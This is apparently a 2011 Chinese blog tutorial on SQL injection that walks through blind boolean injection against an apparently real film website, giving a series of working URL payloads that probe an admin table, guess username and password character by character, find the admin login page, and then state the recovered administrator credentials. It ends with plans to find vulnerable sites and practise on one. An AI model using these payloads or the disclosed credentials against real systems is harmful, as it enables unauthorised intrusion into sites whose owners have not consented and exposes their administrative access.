2011-04-01 SQL注入技术
一、定义
SQL injection可以说是一种漏洞,也可以说成是一种攻击方法,程序中的变量处理不当,对用户提交的数据过滤不足,都可能产生这个漏洞,而攻击原理就是利用用户提交或可修改的数据,把想要的SQL语句插入到系统实际SQL语句中,轻则获得敏感的信息,重则控制服务器。SQL injection并不紧紧局限在Mssql数据库中,Access、Mysql、Oracle、Sybase都可以进行SQL injection攻击。
二、检测漏洞
在大多数ASP站点中,我们并不知道其程序代码,靠任何扫描器也不可能发现SQL injection漏洞,这时就要靠手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号。
三、测试
1.基本测试:
http://www.bofei.net/film/show.asp?id=271 and 1=1
http://www.bofei.net/film/show.asp?id=271 adn 1=2
2.是否存在管理员列表
http://www.bofei.net/film/show.asp?id=271 and 1=(select min(id) from admin)
3.测试密码长度
http://www.bofei.net/film/show.asp?id=271 and 1=(select min(id) from admin where len(username)>5)
http://www.bofei.net/film/show.asp?id=271 and 1=(select min(id) from admin where len(username)<8)
http://www.bofei.net/film/show.asp?id=271 and 1=(select min(id) from admin where len(username)=6)
4.猜测用户名
http://www.bofei.net/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,1)='1')
正常返回的话, 确定管理员编号在第一位
5.搜索站长ID
http://www.bofei.net/film/show.asp?id=271 and 1=(select min(id) from admin where left(username,6)='13月32日')
6.猜测密码
http://www.bofei.net/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,1)='1')
注意:如果在left(pass,1)=后面是数字,那么要把数字用单引号包含起来,例: left(pass,1)='1' 否则程序会出错。
http://www.bofei.net/film/show.asp?id=271 and 1=(select min(id) from admin where left(password,6)='100200')
7.猜测管理员登陆界面
http://www.bofei.net/film/adminlogin.asp
无法打开, 不对
http://www.bofei.net/film/login.asp
无法打开, 不对
http://www.bofei.net/film/admin/login.asp
看到了,登陆界面,正确! 就是这个了!
8.得到用户名和密码
用户名是:13月32日
密码是:100200
登陆URL为:http://www.bofei.net/film/admin/login.asp
------------------------------------------------------------华丽的分界线--------------------------------------------------------
待学习内容:如何快速找到存在SQL注入漏洞的网站。参考:http://ep.cbifamily.com/2008/46/36/72998.html 《快速找出存在SQL注入漏洞的网站》
待练习内容:找一个存在SQL注入漏洞的网站进行实践
浙公网安备 33010602011771号